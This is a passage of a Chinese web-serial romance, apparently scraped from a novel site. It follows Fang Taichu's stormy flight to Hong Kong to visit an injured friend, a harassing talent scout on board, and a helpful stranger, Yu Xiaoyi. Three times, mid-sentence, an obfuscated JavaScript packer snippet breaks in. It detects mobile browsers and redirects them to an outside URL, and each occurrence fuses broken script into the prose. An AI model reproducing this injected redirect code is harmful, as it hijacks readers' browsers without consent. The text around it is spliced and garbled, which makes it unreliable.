“这孩子性子这么烈……” 黄亦玫的语气很斟酌。 小初感觉她更想说的是,这孩子的性子这么偏执,怎么看都不是做男朋友的最好选择。 只是她不会像她爸那么直白罢了。 “我都懂。”小初反而安慰地拍了拍妈妈的手,“你和爸爸放心,我不会陷入别人的痛苦,更不会介入别人的因果的。但他是我的朋友,我也做不到事不关己,你能明白吗妈妈?” 她现在极为迷茫和软弱,很需要家人的理解和支持。 “当然能了!”黄亦玫眨眨眼,“我和爸爸将永远支持你。” “有你们真好。” 一整个暑假,北京都无比潮湿和炎热。小初没心思出去玩,干脆跟她爸申请了个实习岗位,天天往亦方跑。 期间还陪姥姥姥爷去了几趟医院,最后为了不能厚此薄彼,她又飞去延吉陪了奶奶两周。 某天从医院回来她累得两眼发直,那天刚好她爸在家,她一进门也不知道哪根筋不对,张口就问她爸:“方总,你年轻时候为什么不跟我妈多生几个孩子啊?现在这家和业都压我一个人身上,你想累死我啊?” 她爸当时倒是没说话。 只是第二天就让负责人把他们这帮实习生都下放到分部去了。 分公司也没别的,就是装修差,厕所反味儿,饭菜难吃,空调忽冷忽热而已。 她气得半死,用公司邮箱给他发邮件抗议。 他只淡淡回了一句过来。 “这家业太大,我怕你锻炼得不够扛不起来。” 这个记仇又心窄的男人。 4. 第 4 章 小初工作的这个园区,其实是亦方年初才收购过来的。 地段和配套都比本部强,只是还没有装修,设施略显老旧,目前只有几个项目组在这边办公。 挣扎和煎熬的状态只持续了一天,小初就已经平静下来,开始按部就班打卡上下班。 不是她太随遇而安,而是她爸给她安排的这个岗位刚好是她感兴趣的算法设计,为了热爱,她可以不计较那么多。 还有很重要的一点,这边离家更近,通勤时间可以压缩一半,她每天至少能多睡一个小时。 仔细想想她爸还是爱她,因为他至少没把她外派到分散于全国的其他二十几个分公司去,虽然她私心里还挺希望他那么做的。 不是家里的环境不够宽松,而是她突然觉得十几年都生活在同一个城市很腻,很想出去走走。 不是旅游那种短暂的行程,而是彻底地让自己扎进一个陌生的市井里,好好闻闻那里的烟火气。 并辨别一下和北京有什么不同。 实习结束,她爸问她对分公司的经营和管理有什么想法没有,她也没客气,洋洋洒洒写了七八页意见书过去,连晚点和夜宵的品类不够丰富这样的小细节都没放过。 她递过去的时候其实已经做好被他嘲讽满身大小姐臭毛病的心理准备了,不想他却越翻笑容越深,连带着看她的眼神都一寸寸染上了骄傲。 当晚刚好全家聚餐,为她去香港践行,舅舅黄振华点好了菜,见他们父女坐在角落里盯着一叠文件也不搭理别人,不禁旧事重提:“早说了不要给她取方太初这个名字,跟个老学究似的,好好的小姑娘都读成书呆子了。” 话音一落就被舅妈苏更生嗔了句:“有做舅舅的这么说话的?” 黄亦玫也说:“就是。” 小初早习惯了她这个口无遮拦的舅舅,头都没回,只盯着她爸看。 十三岁的表弟黄予安凑上前来,好奇地问道:“姑父看什么呢。” 方协文这才收起文件朝小初一笑:“新园区的设计方案发你了,回去查一下邮箱,挑个喜欢的告诉我。” 小初一愣:“我挑?” “嗯,回头这边就是亦方的数学研究所,你好好学,四年后等你博士毕业,回来给我挑大梁。” 小初所在的英才班采用的是3+2+3本博衔接的培养模式,她爸倒也没说错,所以严格意义上来说,明天赴港,她就是一年级的研究生了。 黄振华忍不住提醒:“你闺女才二十岁,人家女孩子这个年纪都读书逛街、看电影喝奶茶谈恋爱呢,你这么早就把孩子未来给定了,有问过她意见吗?” 方协文也觉得自己有些操之过急,赶紧转圜道:“好,爸爸不给你压力啊,你将来若是不想回亦方也是可以的。” 小初却眨眨眼:“大梁我肯定是要挑的,只是你容我先谈个恋爱试试什么滋味。” 错过叶子瑜,她不知道多少年才能碰见一个让自己心动的人了,无论好坏,她必须给自己一个结果和交代。 她这么说黄振华又有些没好气:“你听听,这是一个二十岁的女孩子该说的话?” 小初顿时咬唇做了个委屈的样子:“那舅舅你到底要我怎么样嘛!” 一句话,就把全家逗笑。 姥姥却有些忧心忡忡:“我怎么有种预感,小初这趟香港行非得跟她妈当年似的,看上个外地的男孩就不回来了。” 黄亦玫深知自己当年的行径曾让两位老人多么操心,立刻笑道:“哎呀,我这都回京十几年了,您还记着这事儿呢?” 方协文也说:“妈您放心,你们家的姑娘都有把喜欢她的男孩拐回家的本事。” 他们这样说,小初满脑子都是叶子瑜笑起来时那股几乎要溢出来的少年意气,于是信誓旦旦,“你们大可放心,我连对港风都无感,又怎么会爱上那个氛围里长大的男孩?还有,我到底要说多少遍,我去那边首先是去交流学习的,谈恋爱只是附属品!” 她的初衷才不是叶子瑜,只是叶子瑜刚好也在那里,好吗? 众人看她孩子气的样子,反而都静了下来,都担忧地看向她。 小初这才想起,这还是她长这么大第一次离开家独自去另一个城市生活那么长时间,也难免他们会不舍。 方协文说:“你就答应去爸爸给你找的房子住不好吗?到时候再从家里派一个阿姨过去照顾你,免得你吃不惯那边的东西,身体搞坏掉。” “爸,我这辈子大概也就这一次机会离开你和妈妈试着独自生活一段,连这个机会你也要剥夺吗?” 方协文还欲说什么,却被黄亦玫按住了手,“好啦,快吃饭,菜都上齐了。” 小初暗暗舒了一口气。 在这个家,凡事只要她妈妈是站在她这边的,那大概率就能成。 她才不要一举一动都被家里的司机保姆和保镖盯着呢,到时候香港那边哪怕一只蝴蝶煽动下翅膀,北京都要刮场飓风。 给自己找什么麻烦。 第二天中午十二点,小初准时从家里出发。当天方协文要去谈一个G端项目,黄亦玫的艺术馆也刚好有展览开幕,只能由家里的司机送她。 这些其实是她提前就计划好的。 从她家里到机场一个小时,候机一个小时,航程三个小时四十五分钟,那么飞机落地后,她刚好可以和叶子瑜去共进晚餐。 她自认为自己的计划非常完美,于是谢绝了方协文的头等舱机票,也没穿黄亦玫买给她的据说很适合她这种高智千金的均价不低于五位数的miumiu。 ——而是找了个平替,一件没有任何Logo,看上去也不会给人太大压力的藏蓝色Polo衫搭配白色短裙。 脚上虽是一双平底鞋,却不妨碍她的一双腿看上去无比瘦削和修长。 为此,她还特地卷了头发化了妆。 她什么都没带,只带了一颗怦然的少女心,就奔向了她认为的短暂自由,和一段未完待续的爱情。 她想她今晚就可以欣赏到维港的夜色了,并一定会在那个氛围中亲到她喜欢了一整个青春,也喜欢了她一个青春的男孩。 那个画面光是想想,她就已经红了脸。 只是她实在没预料到人可以倒霉成那个样子。 家里的司机刚走没二十分钟,机场上空就开始雷暴,而且雨势越下越大,很快所有航班的状态就变成了待定。 小初没买头等舱,只能跟着大部分旅客挤在混乱的候机厅里,也不知是她心情作祟还是怎样,她总觉得大厅里的空调不够制冷,到处都弥漫着一股潮湿黏腻的人肉味,闷得人喘不过气来。 延误两个小时后,终于有人耐心耗尽,开始频频找工作人员发泄情绪。 但雨还没有停歇的迹象。 但工作人员也只能表示抱歉,说今年入汛以来就是这个情况,他们也无能为力。 期间方协文和黄亦玫都打了电话过来,从他们的语气判断市区的雨下得应该不是很大,小初不想他们担心,只说飞机马上就起飞了,就匆匆挂断了电话。 然后她发消息给叶子瑜,跟她说她会晚点出发,叫他不要太早出门。 一个小时后,机场终于通知可以登机。 小初透过机场的玻璃窗向外看,发现外面天色极暗,跑道上闪着灯,已经有飞机在滑行。 她这次乘的是小飞机,商务舱和经济舱之间就简单隔了一下,前端旅客也要和她们从一个舷梯上来,而且她稍微瞧了一眼,他们的座位也并没有比后面的宽敞多少,心理这才平衡了一些。 不然折腾成这样,她肯定要后悔没买头等舱这件事了。 这趟航班的人倒是不多,小初的座位就在经济舱第一排右侧的靠过道的位置,她过去的时候,里面已经坐了一个男人。 那男人大概三四十岁,其貌不扬身量不高皮肤还有点黑,但打扮得却极为精致,尤其头发,用发胶固定得死死的,无论飞机待会多么颠簸,都不会弄乱发型的那一种。 小初立刻判断对方不是大陆人。也不是他哪里特别,只是两边人的气质的确有很大差别。 小初把随身的旅行袋放到了行李架上,包包的带子垂了下来,虽然没有碰到那男人的头,但他还是明显不耐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16309750|182866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 烦地蹙了蹙眉,并下意识看她一眼。 “不好意思。”小初点点头,迅速把包带塞了回去,并坐下身来。 男人的面色在看到她的脸的瞬间立刻有所缓解,甚至还破天荒朝她点了点头,眼神里都是凝视。 这种画面小初早就见怪不怪,心里虽然有点膈应,但也没太在意,而是直接拿出了耳机。 旅客们陆续就了座。直至舱门关闭,她同那香港男人之间的空位也没人上来。 小初不禁暗呼倒霉。 她转头往旁边看了下,走廊另一侧的三个座位倒是都坐满了,和她邻座的是个年轻男孩,虽然戴着黑色口罩让人看不清他表情,但眉眼看着就挺善良的。 她瞬间就做好了决定,一会儿要是旁边这个男的骚扰她,她就和他换个座。 年轻人嘛,同理心总会重一点,正义感也总会强一点。 不知道是不是巧合,她看过去的时候,他也刚好看过来,小初即刻勾唇朝他笑了笑,为一会儿可能会发生的事做了个铺垫。 男孩却似是被她的行为吓到了,怔了半晌,又朝他后面两个人看了看,直至确认小初微笑的对象就是他,才疑惑地问了句:“小姐,我们认识?” “啊?” 这一位的普通话其实还可以,只是那个音调和气质,还是立刻让她认出了他也不是长期在大陆生活的。 “没有没有。”小初心里已对此人放弃希望,因为她再清楚不过那边的人边界感有多强,笑容已经淡了下来,“我认错人了。” 男孩似是有些疑惑,但也没有再说什么。 机舱整理完毕,空乘人员开始通知大家将手机调成飞行模式。 偏这会儿,叶子瑜的电话进来了,把小初吓一跳,这个平时回微信都恨不得数好字数的人,怎么突然打起了电话? 她立刻有种不太好的预感,并马上点击了接听。 “喂?怎么了?我马上就可以起飞了。”小初用掌心遮住嘴,声音放得很轻,希望自己尽量不要打扰到别人。 “方太初。” 叶子瑜的声音恍如隔世,小初的心蓦地一刺。 “嗯?” “我大概不能去接你了。”他的声音也放得很轻。 这个答案小初始料未及,因为她知道他向来是个守诺的人,答应的事从不会随意更改。 若非如此,他又怎么会连表白都不敢表白,单是表白又不用如何负责。 “发生什么事了?”小初的声音已经开始慌。 “没什么大事,就是出了个小车祸。”叶子瑜一副北京男孩什么都不放在心上的死样子,“现在正在坐救护车去医院。” “救护车!”小初的声音无意识地放大。 立刻招来一个空姐不耐烦的训斥,“小姐,讲好要关闭无线电,我讲的是普通话吧,你听唔懂?” 小初抬眸看了对方一眼。 明明她旁边那个老男人也在打电话,她却只说她。 叶子瑜说:“没什么大事,就腿破了点皮,死不了。今天太晚了,你落地先找个酒店住下,明天我找个人去陪你办入学手续。” 小初哽咽,“你把医院位置发我。” 空姐用粤语骂了句什么。 小初挂断电话。 旁边的港男还在煲电话粥。 空姐转换成英语,语气温和,再次提醒那个男人将手机关成飞行模式。 那男人无可无不可看了她一眼,这才照做。 小初的眼泪扑簌簌就落下来了。倒不是因为空姐毫不掩饰的歧视,而是担心叶子瑜。 他说找个人带她去办手续,不就是在告诉她他的情况不容乐观吗? 正哭着,却见一修长如竹的手隔着过道向她伸了过来,随之而来的还有一张洁白的纸巾。 “不用在意,她们对谁都那样,你要是不开心,可以投诉。” 小初转过头去。 通道隔壁那男孩已经摘了口罩,正温润有礼地看着她笑。 那一刻,她好像看见了当年港剧里摘下面具的杨过。 惊鸿一瞥。 5. 第 5 章 小初镇静地看着对方的眼睛。 若是平时,她是断不会接受陌生人的好意的,但今天,毕竟是她先搭讪的人家,所以她也只能自食其果了。 “多谢。” 接过纸巾的刹那,两人指尖有短暂的相接,不知是不是她的错觉,他似是有些紧张,睫毛一直在微动。 “唔使。”口中的粤语脱口而出,又被他马上改为国语,“不必客气,有什么需要帮忙的,你可以跟我说,我帮你沟通。” 小初莞尔,很领情地用那张纸巾擦了落到唇边的眼泪,“费心,暂时不需要。” 下一秒,情绪已经恢复如常。 长大以后的她很少在外人面前哭,主要她太过于清楚眼泪这种东西挂在她这样一张脸上,会是多么危险的一种信号。 她不想做别人眼里的一盏琉璃樽,美丽易碎到谁都可以看穿她的心事,企图掌控她的情绪。 美貌对于她这种出身的人,有时候更多是一种负担。 所以她很少打扮。 舅舅还说,她妈妈像她这么大的时候,追她的男孩恨不能都绕清华园一圈了,怎么到她这儿家里这么安静,连个电话都没有男孩打过来。 真是一代不如一代。 她只是笑,语气漫不经心,“那就要怪家里现在没有固定电话了呗,不然我可以让它二十四小时不间断地响,烦死你们。” 客舱灯很快就被调暗,飞机开始滑行,并在十几分钟后冲上了云霄。 小初只觉思绪纷乱,胸口像堵了一团什么东西,上不来也下不去,就那么生生地折磨着她。 飞机平稳后靠窗的男人来回进出了三次,最后一次终于和她搭了话:“我看小姐长得这么漂亮,身材又好,不知道对模特这一行有无兴趣?” “没兴趣。” “是这样,你不要紧张,我不是坏人来的,我真的是杂志社的。”男人递过一张名片来,满脸堆笑,用很考验听力的普通话继续说道:“要不是遇见极漂亮的美女,我们一般是不留联系方式的,可小姐你实在令人惊艳,假如你对杂志没兴趣,我们也可以介绍你到电视台做培训生,机会很好的。” 小初有些不耐烦,语气渐冷,“先生,我说了我没兴趣,名片就不收了。” “你考虑一下啦。”男人不经意打量她一眼,循循善诱着,“你要是肯,以后说不定就能大红大紫,到时候别说什么名牌衣服和包包,就是飞上枝头做凤凰,也是不在话下的嘛。” 小初沉默。 他们自己的艺人都北上寻金了,他还好意思在这大言不惭呢?还当他们是经济腾飞时期而大陆人都活在上个世纪六十年代呢! 哦,她想起来了,现在这个港圈文化似是又有复苏趋势,就连艾琳有段时间都专找这个位高权重吻美人锁骨的小说打发时间,大佬做上位者掌控全局,美人做下位者欲拒还迎,无论中间经历多少波折,最后都能一只勺子共饮一碗糖水。 要是这种也就算了,好歹你情我愿不危害别人。可她听着旁边男人这意思,倒像是在给哪个上不了台面的老男人找小老婆? 知道他们那边土不土洋不洋,有钱人都喜欢养几房太太和一堆女朋友,可他是不是眼瞎,主意都打到她方太初头上来了! 哦,这事怪她,她早该听她爸妈的话穿着几万块的行头去坐头等舱,那样就碰不到这种倒人胃口的家伙了,就算碰到,想必他也会斟酌下措辞,不敢如此大放厥词。 可眼下客舱安静得要命,她要真跟这种人计较,才是失了风度还扰乱公共秩序,于是打定主意冷处理,让他自讨没趣去。 还有一点她的一颗心都扑在叶子瑜身上,只想立即飞到他身边看看他怎么样,否则,呵,她冷笑,她恐怕他英语和国语加起来都未必是她的对手。 见她不说话,男人还只当她是年轻矜持,笑容逐渐玩味,“小姐你长得这般靓,又年轻……” 小初本还垂着眸想听听他还能说出多么离谱又下流的话来呢,是否够证据告他骚扰,可惜某人却没给她这个机会。 “够了!” 旁边那位“杨过”似是比她还忍无可忍,“你没听见人家小姐说不感兴趣了吗?” 小初侧眸过去,发现对方眉目间的温润已然消失,眸底蔓延的都是淡漠和厉色,虽没有什么过激的语言,却独有一种和他年龄极为不符的不怒自威的气场。 老男人怒道,“关你咩事?” “杨过”说:“你再纠缠我就叫工作人员了。” 男人有些讪讪,骂了句“痴线”后,终于闭了嘴。 小初感激地朝那男生点点头,这才悄悄按停手机上的录音键。 对方即刻展颜,某种流动的风华刹那间如晴雪初霁,填满了这方狭小的空间。 小初怔了怔,随即收回目光,开始闭目养神,她相信,靠窗那男人这下应该是彻底老实了。 没一会儿,她就迷迷糊糊睡着了。 梦里的画面很纷乱,她一时也分不清自己是在某段真实存在过的记忆里,还是一个全凭她想象的时空,总之那个世界正在下雪,而家里的小猫丢丢站在一截青砖墙上,甚至都没回头看她一眼,就跳到墙的那一边去了。 一种痛彻心扉的“失去”感觉袭来,她冷得蜷起了身子。 隐隐约约间,她好像听见有人在耳旁低声说话,至于说什么,却不得而知。 没一会儿,她就被什么东西包裹住了。 突如其来施加在身体上的力量让小初倏地就睁开了眼。 前面刚训斥过她的那个空姐正将一条毯子盖在她身上,依旧面无表情,“小心着凉。” 客舱里空调太低,小初感激于人家的服务,也不打算计较那么多,说了句:“谢谢。” 经过这么一下,她怎么都睡不着了。 刚刚那个关于失去的梦反复进入脑海,她总感觉又有什么东西正在她不经意间从生命里流失。 她但愿那不是叶子瑜。 没一会儿,工作人员就开始发放餐食。 小初没食欲,且还是觉得冷,只要了一杯热茶握在手心。 隔壁的“杨过”似乎也对飞机上的餐食没兴趣,跟空姐说:“麻烦给我一杯和这位小姐一样的。” 小初闻言下意识转眸过去 ,两人的目光再次撞到了一起。 对方立刻朝她笑笑。 而且很明显,这次的笑容比之前自然了不少,仿佛与她之间已经建立了某种默契似的。 小初立刻在心里暗骂了自己一句,反射弧生得这么短干什么!她这样频频跟人家致意,可别让人家心里对她产生什么误解出来! 为了掩饰,她只能刻意将视线转向发餐食的那位看起来稍微面善一点的空姐,“不好意思,要不我……” “要不你就吃一点?”空姐试探道。 “啊……”小初从没吃过经济舱的餐食,一时下不定决心。 倒不是她口味太挑剔,小时候跟着姥姥姥爷天天吃大学食堂,导致她对吃的向来接受度都挺高的,只是她此刻实在没什么胃口,不太想浪费食物。 “我们今天有鸡肉饭,鳕鱼饭,还有叉烧包和冰激凌。”空姐热情得简直一点不符合她对她们的刻板印象。 小初实在盛情难却:“那好吧,给我来一份鸡肉饭吧,点心和冰激凌不需要,麻烦再帮我加一杯热茶。” “好的!” 空姐立刻麻利地按她要求做起了服务,并自然而然转向身旁的“杨过”,“先生你要不要再和这位小姐来一份一样的?” 小初差点被一口茶呛到。 不是,他们今天这航班是多配了多少盒饭啊,这么卖力推销?把旅客当成他们家池塘里的鱼了吗?见不得鱼食不在鱼肚里? “杨过”也失笑,“我都OK。” “好的先生。” 经过这么几次往来,两人好像真的有些熟悉了的意思,小初不好再看他的方向,把注意力都转到自己面前的这份饭上来。 虽是预制菜,味道倒是比她想象的要好很多。 吃饭的时间不算太长,没一会儿,空姐就收走了垃圾,客舱再次恢复了宁静。 靠窗那男人示意她,“不好意思,我出去一下。” 小初不想他的身体蹭过自己的大腿,只好起身避到过道上。 可两人错身而过时,对方身上那股浓烈的尼古丁混合香水的味道还是再次侵入了她的嗅觉系统,险些将她熏倒。 她赶紧往旁边又挪了挪。 偏这会儿,飞机也不知怎么就剧烈颠簸了起来,老男人一个没站稳,就跌坐在了她的座位上。 小初的身形也猛然一晃,还好她核心算稳,关键时刻撑得住。 然后她就开始无比庆幸,庆幸自己刚刚起了身,否则此刻,这老男人不就跌到她怀里去了! 那她这双腿还能不能要了! 小初长呼一口气,正准备站直,然后才意识到了什么不对,等等…… 她这手心传来的触感,不会是,某个男人的手臂吧?小初一寸寸转过头去,简直欲哭无泪,杨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16309751|182866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过怎么可以有手臂呢? “实在抱歉!”小初倏地撒开手。 男生说:“没事你赶紧回到座位上!” 客舱广播也开始进行安全提醒。 小初回过头,她的座位还被人鸠占鹊巢着。 说话间颠簸再次升级,飞机机身忽地向右一倾,惯性太大,手上失了支撑的小初再也无力稳住核心,直直就向一旁栽去。 电光火石之间她还不忘提醒自己绝不能再占别人半分便宜,只把他的座椅靠背当成诺亚方舟的船舷,对人则是能避开一寸就不避开半寸。 好在飞机很快回正,一切有惊无险。 为了避开他,小初的脚几乎弯折了一个很大的角度才维持住平衡,男生有些怔。 小初顾不上他,只对占着他座位那人喊:“还不让开!” 那男人似是没想到她一个温柔的小姑娘能发出这么大一个声响,吓得一瑟缩,没出三秒就挪到中间那个座位去了。 小初终于得以回到座位,下一秒就因脚踝上传来的刺痛蹙起了眉,不自觉地“嘶”了一声。 “杨过”离得近,第一个发现异常,神情逐渐凝重,“你怎么了小姐?扭到脚了吗?” 小初露出一点无奈的表情,“好像是。” “怎么样,严重不严重?”他一边说一边按下了座位上的呼叫按钮,并安慰道:“别担心,稍晚叫她们取些冰块来给你冷敷。” 小初稍微活动了一下,还是痛,但也不至于痛到她动弹不得,于是答道:“好像还好,不算严重。” 飞机仍在颠簸,空乘人员过不来,隔着几排座位用粤语朝他喊话:“先生,请问有什么需要帮助?” 男生马上用粤语回了长长一段话过去,小初听不懂他具体每个字是什么意思,但大概还是猜到了对话内容。 几分钟后,飞机终于穿过气流。 机组人员带来了冰块和医药箱,一时又有点犯难,不知道该怎么把那个本来用来食用的冰固定在小初的脚踝上。 “杨过”解开安全带,绅士地看向小初,“我有急救证,你介意我帮你处理吗?” 他的目光似是有某种魔力,小初鬼使神差地摇了摇头,连她自己都没弄清,她摇头的意思是“不介意”还是“不需要”。 男生转向工作人员,“麻烦拿一条毛巾给我。” 工作人员应声。 小初也没看清他是怎么操作的,总之很快,他就俯身帮她脱掉了鞋子,并把一方很冰却又不至刺骨的毛巾敷在了她的脚踝上。 小初这才大梦初醒,脊背瞬间绷直。 两人距离太近,近到她已经被一股正在不断升腾的、来自陌生男人的野蛮侵略感撅住了呼吸。 “就这样坚持十五分钟。” 男生处理好后马上站起了身,声音很轻,目光却没再看她,甚至连句谢谢都没等她说,就往机舱尾部的洗手间去了。 机组人员把一只药膏递给她,“小姐这个稍后别忘记涂。” 小初点头。 并无比庆幸自己穿了双透气的鞋子。 几分钟后,男生回到了座位上。 小初向来不喜欢欠人人情,赶紧抓住机会道谢:“谢谢你啊杨先生。” 男生皱了皱眉,“什么?” 小初这才意识到自己说错了话,尴尬得几乎没钻到地缝里去,连耳垂都红成了玛瑙。 见她这样,对方反而豁然一笑:“鄙姓余,余萧弋,小姐你呢?” 小初咬咬唇。 她可以不说吗?反正他们只是萍水相逢,以后又不会再见面。 对方似乎看出了她的为难,立刻真诚地笑笑:“不方便可以不讲的。” 但…… 人家都这么真诚了,她要是再扭捏,是不是就有点矫情了? “没有不方便。”小初做了个深呼吸,大方说道:“我姓方,方太初。” “好特别的名字。” 小初有些不好意思:“还好。” 气氛不知怎么有点奇怪。 两人都没有再说话。 倒是隔壁座的老男人打破沉默:“不好意思小姐,刚刚要不是因为我……” 小初打断他:“你还要出去吗?” “稍等下也没关系。” 小初说:“那麻烦你坐回去你位置上去。” 话音一落,她就听见左耳传来一声极低的笑。 很轻,很轻。 像是他刚才俯身下去时,不小心喷薄在她小腿上的呼吸。 6. 第 6 章 飞机着陆时,香港也在下雨。 还没走出客舱,小初就已经感受到那种独属于海洋性季风气候的高温和潮湿了。 关闭手机飞行模式,屏幕上第一条跳出来的就是目的地的天气提醒,紧接着北京发生洪涝和地质灾害的新闻也跳了出来。 小初心头一跳,手指不受控制地点进第二条,这才发现汛期以来北部山区已经陆续几十万人受灾,只是昨天的强降水导致了山洪,破坏力再次升级。 屏幕上刺目的伤亡数字让她一阵难过,赶紧打电话过去问黄亦玫家里的情况。 黄亦玫说所有人都很好,叫她不要担心,还说亦方正在开会组织物资捐赠,要确保物资包今晚到位,方协文就不过来跟她讲话了,并叮嘱她照顾好自己。 小初心下稍安,一边和妈妈说着话,一边打开和叶子瑜的聊天页面。 几条未读消息都发于半刻钟之前,先是问她飞机着陆没有,又说天文台刚挂八号风球预警,让她注意安全,落地就去找个地方休息,这两天都不要外出,也不要急着来看他。 学校那边大概率也是要停课,所以她不用担心会耽误正事。 为了证明他很好,还特地给她发来一张他右小腿打着石膏缠着绷带的图片,并调侃,“你也不用太担心,哥们儿已经没事儿了,照完CT医生说不需要手术回家静养定期复查就行。只是短期内肯定是没办法为你接风洗尘了,不过还是要和你说一句,Wee to HK.” 他这种故作洒脱的语气反而让小初心头一刺,宁愿他像之前那样对她惜字如金。 女孩子特有的敏感已经替他提前给了她答案,只是都到这个份儿上了,今天见面同后天见面又有什么分别? 于是抿唇回他:“废什么话,地址发过来。现在时间还早,耽误不了你休息。” 发完就退出了聊天界面。 黄亦玫问香港天气怎么样,看天气预报说是要刮台风。 她答:“现在天气还不错,比北京舒服,台风应该还没那么快。一会儿下了飞机就去宵夜,把之前心心念念的月光八宝盒好好尝一遍。” 黄亦玫似是十分欣慰,语气都变得轻快起来,“好啦,那你快去,别忘了代我向叶同学问好。” 小初说好。 挂了电话,她的脸上的笑容就落寞下来。 行李架已经开启,她站起身,将受伤的那只脚慢慢落下去。几次的冰敷确实有效果,现在那里就只剩下一丝疼,大概率不会影响到她走路了。 “你有随身的行李吗?”一旁的余萧弋也站起了身,温声问道。 小初转过头去。 前面还没注意,这会儿站在一块她才发现,原来他的身高竟有这么高,视觉上和方协文差不太多。 而且他穿的竟然也是学院风,黑色Polo衫配卡其色短裤,再加上他皮肤极为白皙,整个人看上去就格外干净,无端给人一种教养很好又高智的感觉。 “有的。”小初只略略迟疑就大方勾起了唇,指了指行李架,“上面那个旅行袋就是我的。” 他说:“我帮你拿,你先跟工作人员下机,廊桥等我。” 见她怔愣他才反应过来,灿笑,“你这里没有贵重物品吧?” 小初也啼笑皆非,“没有,你放心,就算有也不会讹你。”说完就往旁边让了让,并在空乘人员的搀扶下,缓缓下了飞机。 还好,还能走路。 等余萧弋出来,她已经收到了叶子瑜发来的位置,看着应该是校外的一处公寓,离学校只有几站地铁距离,倒是不远。 两人并肩往外走。叠加的身影映在廊桥的玻璃上,他比她刚好高出半个头。 余萧弋问:“你要去看望生病的朋友是吗?” 小初惊奇:“你怎么知道?” “前面好像隐约听见你说什么救护车。” “不是生病,是出了点事故,右腿骨折。” 余萧弋看了她一瘸一拐的脚一眼,“那你俩还真是同病相怜。” 小初耸耸肩,“谁说不是。” 经过几个小时的相处,中间又发生了这么多事,她好像真的已经不像最开始那样视他为彻底的陌生人。 余萧弋又问朋友家位置在哪里。 小初把手机页面未加掩饰地展给他看,上面她给叶子瑜的备注是一个蓝色的鱼形emoji,她自认没什么暧昧和不妥之处,当然,就算有,她也不会介怀一个外人的理解和看法,“从地图上看好像离这里有点远,打车,哦我是说乘的士也要四十几分钟是吗?” 余萧弋微微垂眸,表情并无一丝变化,只说:“是有点远,不过我刚好也要到那边去,我载你好了。” 小初立即谢绝:“不用了余先生,你已经帮我了很多了,真的不好打扰。” 余萧弋说:“不用客气,这个时间和天气,你乘计程车被拒载的概率很大,不知道要浪费多少时间。你的脚,应该也乘不了MTR吧?”又问,“你还有托运的行李吗?” 小初说:“有。” “我也有,那我们刚好可以一起去取。” 小初停下脚步,还是谨慎地说道:“但我真不能乘你的车。” 即便他截止到目前的表现都无可挑剔,也不意味着他们之间在这么短的时间就可以建立这种程度的信任。 余萧弋露出个了然神色,然后也不说话,只是默默拿出钱包,将回乡证展示给她看,“方小姐,我没骗你的,我是真的要回那边,你要是过意不去,按计程车费分一半给我好了。” 小初有些尴尬,但还是将他的证件仔仔细细看了一遍,并拍了个照存在了手机里。 ——余萧弋,生于春末,大她一岁多。 她也是直到这会儿才知道他名字到底是哪三个字。 余萧弋被她的操作惊了个目瞪口呆,愣了一会儿才哑然失笑:“方小姐,你很率真。” 小初眨眼:“防小人不防君子。” 两人一块去拿行李。 小初那个二十八寸的行李箱,里面有一半都是书,重得不得了,可她看他竟也很轻松就将它搬上了小推车。 他的车是一辆常见款式的日系车,不新也不旧,不便宜也不太贵,不用担心隐于车流会招来任何异样目光。 车里也很干净,还隐约有股很好闻的木质香,像是雨后森林,很治愈也很舒服。 就跟他的人一样,很容易让人放下戒心。 小初习惯了坐车子后排,上车的时候下意识就打开了后排车门,直至他载她过了路程的一半她才有所察觉,赶紧不好意思地道歉:“我得解释一下啊余先生,我坐后排并没有把你当成司机的意思。” 余萧弋从后视镜看了她一眼,笑:“没关系,我这本来不就是个司机吗?一会儿记得把车费A我就行。” 小初说:“放心,不会赖你账的。”又说:“你用微信吗?收款码给我一下。” 他微不可察地翘了翘嘴角,“当然。”下一个路口等红灯时,就调出二维码来,将手机递给她。 小初从善如流地扫了描。 然后睫毛就动了动。 那不是一个收款码,而是他的微信名片。 令她意外的是,他的昵称Theo.Y后面竟然也有一条鱼的符号,只是线条更简洁些,看着也更快乐些。 她和他之间实在有些缘分妙不可言的意味,她这个向来以理性和逻辑占主导的大脑,有一瞬间的宕机。 而后,为了避免气氛尴尬,她也没有拆穿他,直接加了他为好友。 两人都没再说话。 车载电台在播放歌曲,小初听出来,好像是《少女的祈祷》。 她有些怔忡,从包里拿出两只唇釉来,一只鲜艳,一只清透。犹豫了一会儿,她最终还是选了那只裸色的。 真到了那栋公寓楼下,小初反而有些踌躇。 她和叶子瑜已经太久未见,对他的印象还停留在去年夏天两人一起去北锣鼓巷吃川菜的情境里。 那是一家分段经营的小餐馆,门面其貌不扬,菜品却实在惊艳,整座城市那么多家川菜馆,这么多年真留在她心里的,好像也就只有它。 也是奇怪,她后来努力回想,却怎么都想不起那天的叶子瑜是什么发型,穿的什么衣服,笑起来有多好看,又和她说了什么话。 她想起的都是锅气十足的小炒鸡,开胃入味的酸萝卜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 